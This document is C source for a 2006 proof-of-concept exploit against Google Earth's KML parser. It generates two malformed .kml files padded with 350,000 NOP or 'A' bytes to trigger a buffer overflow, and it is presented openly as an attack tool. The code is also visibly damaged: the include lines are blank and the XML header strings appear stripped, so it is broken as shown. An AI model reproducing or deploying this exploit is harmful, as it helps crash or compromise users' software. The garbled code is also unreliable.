/////////////////////////////////////////////// // Google Earth (kml & kmz files) buffer overflow // by JAAScois [ http://www.jaascois.com ] // Test on: Google Earth v4.0.2091(beta) Sep 14 2006 /////////////////////////////////////////////// #include #include char xmlHdr[]="\n\nBy: JAAScois.com"; char xmlHdr2[]=""; int main(int argc, char* argv[]) { FILE *Gkml; FILE *GkmlX; int i; unsigned char nop; printf("Google Earth (kml & kmz files) buffer overflow \n"); printf(" by JAAScois [ http://www.jaascois.com ]\n"); // Gkml.kml Gkml=fopen("Gkml.kml","w+b"); if(Gkml==NULL){ printf("-Error: fopen \n"); return 0; } fwrite(xmlHdr,strlen(xmlHdr),1,Gkml); nop=0x90; for(i=0;i<350000;i++){ fwrite(&nop,1,1,Gkml); } fwrite(xmlHdr2,strlen(xmlHdr2),1,Gkml); fclose (Gkml); // GkmlX.kml GkmlX=fopen("GkmlX.kml","w+b"); if(GkmlX==NULL){ printf("-Error: fopen \n"); return 0; } fwrite(xmlHdr,strlen(xmlHdr),1,GkmlX); nop=0x41; for(i=0;i<350000;i++){ fwrite(&nop,1,1,GkmlX); } fwrite(xmlHdr2,strlen(xmlHdr2),1,GkmlX); fclose (GkmlX); printf("- Created file: Gkml.kml ...OK\n"); return 0; } securitydot.net - 2006-10-12